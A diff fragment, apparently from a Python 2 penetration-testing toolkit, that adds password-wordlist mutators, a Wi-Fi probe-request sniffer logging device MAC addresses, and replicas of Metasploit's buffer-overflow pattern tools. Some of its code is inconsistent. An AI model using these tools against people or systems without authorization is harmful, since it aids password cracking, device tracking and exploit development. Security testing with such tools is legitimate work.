+ print ("%s" + "%s") % (x.capitalize(), i)
+ print ("%s" + "%s") % (i, x.capitalize())
+
+ def Leet(self):
+
+ for x in self.text.split():
+ print x.replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8")
+
+ def LeetCap(self):
+
+ for x in self.text.split():
+ print x.capitalize().replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8")
+
+ def LeetYears(self):
+
+ for x in self.text.split():
+
+ for i in range(self.year1, self.year2):
+
+ print ("%s" + "%s") % (x.replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8"), i)
+ print ("%s" + "%s") % (i, x.replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8"))
+
+ def LeetNumbers(self):
+
+ for x in self.text.split():
+
+ for i in range(self.num1, self.num2):
+
+ print ("%s" + "%s") % (x.replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8"), i)
+ print ("%s" + "%s") % (i, x.replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8"))
+
+ def UniqueLeet(self):
+
+ for x in self.text.split():
+
+ print ("%s" + "%s") % (x.replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8"), (x.replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8")))
+
+ def Reverse(self):
+
+ for x in self.text.split():
+
+ print x[::-1]
+
+ def ReverseCap(self):
+
+ for x in self.text.split():
+ print x[::-1].capitalize()
+
+ def ReverseNum(self):
+
+ for x in self.text.split():
+
+ for i in range(self.num1, self.num2):
+
+ print ("%s" + "%s") % (x[::-1], i)
+ print ("%s" + "%s") % (i, x[::-1])
+
+ def ReverseYears(self):
+
+ for x in self.text.split():
+
+ for i in range(self.year1, self.year2):
+
+ print ("%s" + "%s") % (x[::-1], i)
+ print ("%s" + "%s") % (i, x[::-1])
+
+ def ReverseUnique(self):
+
+ for x in self.text.split():
+
+ print x[::-1] + x[::-1]
+
+
+'''
+This Classes Dectects Probe Requests from Wireless Devices.
+
+Example:
+
+Probe = Proberequests("wlan0")
+
+Probe.startSniff()
+
+'''
+
+
+class Proberequests:
+
+ global probeReqs
+
+ probeReqs = []
+
+ def __init__(self, interface):
+
+ self.interface = interface
+
+ def sniffProbe(self, p):
+
+ if p.haslayer(Dot11ProbeReq):
+ netName = p.getlayer(Dot11ProbeReq).info
+ if netName not in probeReqs:
+ probeReqs.append(netName)
+ print '[!] Detected New Probe Request: '
+ print "[+] ESSID: " + netName + " BSSID: " + p.addr2
+
+ def startSniff(self):
+
+ print "[+] Scanning...\n"
+
+ sniff(iface=self.interface, prn=self.sniffProbe)
+
+
+"""
+
+This class creates a unique pattern of 20280 characters.
+
+This is a replica of the metasploit tool called pattern_create.rb
+
+Example:
+
+patternTest = PatternCreate(1000)
+
+patternTest.generate()
+
+Creates a unique pattern of 1000 characters.
+
+"""
+
+
+class PatternCreate:
+
+ global MAX_PATTERN_LENGTH
+
+ MAX_PATTERN_LENGTH = 20280
+
+ def __init__(self, length):
+
+ self.length = length
+
+ def generate(self):
+
+ output = []
+
+ """
+ Generate a pattern of a given length up to a maximum
+ of 20280 - after this the pattern would repeat
+ """
+ if self.length >= MAX_PATTERN_LENGTH:
+ raise MaxLengthException('ERROR: Pattern length exceeds maximum of %d' % MAX_PATTERN_LENGTH)
+
+ pattern = ''
+ for upper in ascii_uppercase:
+ for lower in ascii_lowercase:
+ for digit in digits:
+ if len(pattern) < self.length:
+ pattern += upper+lower+digit
+ else:
+ out = pattern[:self.length]
+
+ output.append(out)
+
+ print str(output)[1:-1].replace("'", "")
+
+
+"""
+
+This class finds the offset from the PatternCreate class.
+
+This is a replica of the metasploit tool called pattern_offset.rb
+
+Example:
+
+offset = PatternOffset("Aw1A")
+
+offset.find()
+
+Finds offset of Aw1A.
+
+Output: [+] Offset: 663
+
+"""
+
+
+class PatternOffset:
+
+ def __init__(self, search_pattern):
+
+ self.search_pattern = search_pattern
+
+ def find(self):
+
+ offset = []
+
+ needle = self.search_pattern
+
+ try:
+ if needle.startswith('0x'):
+ # Strip off '0x', convert to ASCII and reverse
+ needle = needle[2:]
+ needle = bytes.fromhex(needle).decode('ascii')
+ needle = needle[::-1]
+ except TypeError as e:
+ print('Unable to convert hex input:', e)
+ sys.exit(1)
+
+ haystack = ''
+ for upper in ascii_uppercase:
+ for lower in ascii_lowercase:
+ for digit in digits:
+ haystack += upper+lower+digit
+ found_at = haystack.find(needle)
+ if found_at > -1:
+
+ offset = found_at
+
+ print "[+] Offset: " + str(offset)
+
+
+if __name__ == '__main__':
+ userInterface()
+
+
+class MissingPackageException(Exception):
+ '''Raise when 3rd party modules are not able to be imported.'''
+
+
+class MissingPipexception(Exception):
+ '''Raise when pip is not able to be found'''